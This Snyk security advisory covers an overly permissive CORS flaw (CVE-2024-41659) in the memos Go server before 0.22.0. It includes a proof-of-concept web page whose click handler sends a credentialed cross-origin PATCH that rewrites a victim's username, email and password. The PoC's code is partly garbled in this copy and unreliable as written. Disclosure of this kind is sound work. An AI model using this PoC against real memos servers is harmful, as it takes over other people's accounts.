Overly Permissive CORS Affecting github.com/usememos/memos/server package, versions <0.22.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.05% (18th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-GOLANG-GITHUBCOMUSEMEMOSMEMOSSERVER-7723931
  • published21 Aug 2024
  • disclosed20 Aug 2024
  • creditKevin Stubbings

Introduced: 20 Aug 2024

CVE-2024-41659  (opens in a new tab)
CWE-942  (opens in a new tab)

How to fix?

Upgrade github.com/usememos/memos/server to version 0.22.0 or higher.

Overview

Affected versions of this package are vulnerable to Overly Permissive CORS via the server.go configuration. An attacker can read private information or make privileged changes to the system as the vulnerable user account by making a cross-origin request with improper CORS settings.

PoC

This proof of concept works exclusively with Firefox due to changes in third party cookies policies in all recent browsers.

<body>
    <p>Click here to login.</p>
    <div id="response"></div>

&lt;script&gt;
    const url = &#39;https://demo.usememos.com/api/v1/user&#39;;
  document.addEventListener(&quot;DOMContentLoaded&quot;, () =&gt; {
    document.onclick = () =&gt; {
      open(url);

const requestBody = { rowStatus: "NORMAL", // Replace with the desired row status username: "test", // Replace with the desired username email: "test@gmail.com", // Replace with the desired email nickname: "", // Replace with the desired nickname password: "password", // Replace with the desired password avatarUrl: "" // Replace with the desired avatar URL };

// Sending the request let userID = 101; fetch(https://demo.usememos.com/api/v1/user/{userID}, { method: 'PATCH', headers: { 'Content-Type': 'application/json' }, credentials: "include", body: JSON.stringify(requestBody) }) .then(response => { if (!response.ok) { throw new Error(HTTP error! Status: ${response.status}); } return response.json(); }) .then(data => { console.log('Updated user:', data); }) .catch(error => { console.error('Error updating user:', error); }); } }); </script> </body>

CVSS Scores

version 4.0
version 3.1